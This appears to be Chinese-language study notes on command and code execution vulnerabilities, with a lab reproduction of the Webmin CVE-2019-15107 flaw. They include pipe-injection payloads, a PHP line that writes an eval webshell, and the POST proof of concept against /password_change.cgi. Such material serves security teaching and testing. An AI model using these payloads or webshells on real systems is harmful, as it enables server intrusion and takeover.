目录
webmin 远程命令执行 (CVE-2019-15107)
exec "ping"
介绍:
应用程序有时需要调用一些执行命令的函数,如在PHP里,使用system,exec,shell_exec,passthru,popen,proc_popen等函数可以执行系统命令。当黑客可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
观察ttl,可大致判断目标为 windows系统
利用管道符 | ,让系统执行命令
127.0.0.1 | dir
127.0.0.1 | ipconfig
127.0.0.1 | net user
exec "eval"
概念
代码执行漏洞是指应用程序本身过滤不严,攻击者可以通过请求将代码注入到应用中,最终在web服务器上去执行。类似我们常见的SQL注入,是将SQL语句带入数据库查询,而我们的代码注入,则是将代码注入到脚本中让应用对代码进行解析,其危害直接相当于一个WEB后门的存在!远程代码执行实际上就是调用服务器网站代码进行执行。
产生原因:由于服务端存在执行的函数,在使用的过程中没有做好一个严格的控制,造成了实际的参数在客户端中可控
eval()
这个函数的作用就是把一段字符串当作PHP语句来执行(一般情况下不建议使用容易被黑客利用)
system("dir");
file_put_contents('shell.php','<?php @eval($_POST[pass]) ?>');
点击提交按钮,直接会执行代码,写入webshell
可以直接连接上
webmin 远程命令执行 (CVE-2019-15107)
webmin简介
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。 Webmin 让您能够在远程使用支持 HTTPS (SSL 上的 HTTP)协议的 Web 浏览器通过 Web 界面管理您的主机。
漏洞简介
webmin是一款强大的Unix系统管理工具,在其版本为1.882到1.920存在CVE-2019-15107漏洞,当版本为1.890时,工具在默认配置下易受漏洞的威胁,而在其它版本当用户关闭密码过期策略时,受漏洞威胁的概率较小,漏洞主要是起代码中引用‘qx/ /’方法,把密码字符串当作命令执行。
漏洞复现
一、vulhub环境搭建
1.启动docker环境 (webmin 1.910)
2. 我这里在本机浏览器进入,https://靶机ip:10000
3. 访问/password_change.cgi
以POST形式发送POC
user=rootxx&pam=&expired=2&old=test | id&new1=test2&new2=test2
可以看到,执行了 ‘id’ 命令
换成其他命令,也可以执行
user=rootxx&pam=&expired=2&old=test | pwd&new1=test2&new2=test2